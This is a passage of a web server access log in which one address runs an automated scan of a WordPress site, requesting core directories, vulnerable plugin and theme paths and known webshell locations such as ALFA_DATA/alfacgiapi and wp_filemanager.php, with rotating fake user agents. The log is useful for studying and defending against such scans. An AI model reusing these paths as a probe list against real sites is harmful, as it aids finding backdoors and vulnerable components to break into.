185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /wp-includes/assets/wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /images/news_event/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:24 +0300] "GET /templates/beez5/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /wp-admin/js/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /upload/bilder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:25 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /files/shares/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /wp-content/plugins/content-management/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /wp-content/themes/Avada/licensing/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:26 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /wp-content/plugins/tunnelforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /wp-includes/js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:27 +0300] "GET /wp-json/wp/v2/give_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-content/plugins/ultimate-member/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-content/plugins/js-support-ticket/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:45:28 +0300] "GET /wp-content/plugins/easy-themes-manager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-content/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-admin/user/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /assets/bootstrap-fileupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-content/plugins/yanierin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-content/plugins/profile-builder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:29 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /management/assets/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /assets/worders_front/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /assets/jquery-ui/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:30 +0300] "GET /wp-content/themes/Avada/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-content/uploads/fusion-forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-content/themes/Avada/includes/lib/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-content/themes/jupiter/framework/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-includes/blocks/site-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-content/plugins/jupiterx-core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-content/themes/Avada/shortcodes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-json/bricks/v1/render_element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-content/themes/bricks/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 165.227.172.226 - - [17/Apr/2026:14:33:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-content/themes/service-finder/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-content/themes/service-finder/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:31 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:32 +0300] "GET /wp-json/wp/v2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:32 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:32 +0300] "GET /wp-content/uploads/2026/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:32 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 43.159.145.153 - - [17/Apr/2026:12:55:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.82.25 - - [17/Apr/2026:15:33:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 94.131.118.129 - - [17/Apr/2026:15:30:14 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 74.248.99.34 - - [17/Apr/2026:15:35:02 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 14.18.16.150 - - [17/Apr/2026:15:54:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.130.139.136 - - [17/Apr/2026:18:02:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.178.139.119 - - [17/Apr/2026:18:13:55 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 43.128.149.102 - - [17/Apr/2026:17:18:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.69.66.178 - - [17/Apr/2026:20:42:34 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:42:55 +0300] "GET /wemanso.php7 HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:42:59 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - 